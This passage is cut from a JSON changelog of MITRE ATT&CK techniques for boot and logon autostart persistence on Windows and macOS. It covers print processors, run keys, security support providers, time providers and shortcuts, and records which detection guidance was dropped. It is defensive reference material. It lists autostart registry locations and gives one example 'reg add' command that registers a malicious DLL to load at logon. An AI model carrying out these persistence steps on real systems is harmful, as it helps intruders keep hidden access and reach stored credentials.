SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/012", + "external_id": "T1547.012" + }, + { + "source_name": "Microsoft AddPrintProcessor May 2018", + "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor" + }, + { + "source_name": "Microsoft Intro Print Processors", + "description": "Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.", + "url": "https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors" + }, + { + "source_name": "ESET PipeMon May 2020", + "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.", + "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Mathieu Tartare, ESET", + "Tahseen Bin Taj" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Driver: Driver Load\", \"Module: Module Load\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.261000+00:00\", \"old_value\": \"2025-04-15 19:58:17.860000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\\\\\Driver or HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver as they pertain to print processor installations.\\n\\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\\\\\Driver or HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver as they pertain to print processor installations.\\n-\\n-Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0011: Module (Module Load)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0026: Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 18:15:06.641000+00:00", + "modified": "2025-10-24 17:49:32.375000+00:00", + "name": "Re-opened Applications", + "description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/007", + "external_id": "T1547.007" + }, + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", + "url": "https://support.apple.com/en-us/HT204005" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Wardle Persistence Chapter", + "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.", + "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.375000+00:00\", \"old_value\": \"2025-04-16 20:37:22.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0125: Detect persistence via reopened application plist modification (macOS)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 22:02:48.566000+00:00", + "modified": "2025-10-24 17:49:09.744000+00:00", + "name": "Registry Run Keys / Startup Folder", + "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/001", + "external_id": "T1547.001" + }, + { + "source_name": "Malwarebytes Wow6432Node 2016", + "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.", + "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/" + }, + { + "source_name": "Microsoft Wow6432Node 2018", + "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry" + }, + { + "source_name": "Microsoft Run Key", + "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys" + }, + { + "source_name": "Oddvar Moe RunOnceEx Mar 2018", + "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.", + "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe", + "Dray Agha, @Purp1eW0lf, Huntress Labs", + "Harun K\u00fc\u00dfner" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.744000+00:00\", \"old_value\": \"2025-04-15 19:58:54.099000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\\n\\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\\n-\\n-Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0365: Detect Registry and Startup Folder Persistence (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 17:16:11.806000+00:00", + "modified": "2025-10-24 17:48:46.245000+00:00", + "name": "Security Support Provider", + "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/005", + "external_id": "T1547.005" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.245000+00:00\", \"old_value\": \"2025-04-25 14:46:38.641000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1025: Privileged Process Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0542: Registry and LSASS Monitoring for Security Support Provider Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 19:00:32.917000+00:00", + "modified": "2025-10-24 17:48:44.403000+00:00", + "name": "Shortcut Modification", + "description": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176/001)) to persistently launch malware.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/009", + "external_id": "T1547.009" + }, + { + "source_name": "Shortcut for Persistence ", + "description": "Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022.", + "url": "https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence" + }, + { + "source_name": "BSidesSLC 2020 - LNK Elastic", + "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.", + "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "David French, Elastic", + "Bobby, Filar, Elastic", + "Travis Smith, Tripwire" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.403000+00:00\", \"old_value\": \"2025-04-15 19:58:28.507000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\\n\\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\\n-\\n-Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0180: Detection Strategy for T1547.009 \u2013 Shortcut Modification (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 15:51:52.317000+00:00", + "modified": "2025-10-24 17:48:51.278000+00:00", + "name": "Time Providers", + "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/003", + "external_id": "T1547.003" + }, + { + "source_name": "Github W32Time Oct 2017", + "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.", + "url": "https://github.com/scottlundgren/w32time" + }, + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + }, + { + "source_name": "Microsoft W32Time Feb 2018", + "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top" + }, + { + "source_name": "Microsoft TimeProvider", + "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Scott Lundgren, @5twenty9, Carbon Black", + "Harun K\u00fc\u00dfner" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.278000+00:00\", \"old_value\": \"2025-04-15 19:58:35.700000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\\n\\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\\n-\\n-The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0122: Detect Abuse of Windows Time Providers for Persistence" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 16:59:59.688000+00:00", + "modified": "2025-10-24 17:48:53.539000+00:00", + "name": "Winlogon Helper DLL", + "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows 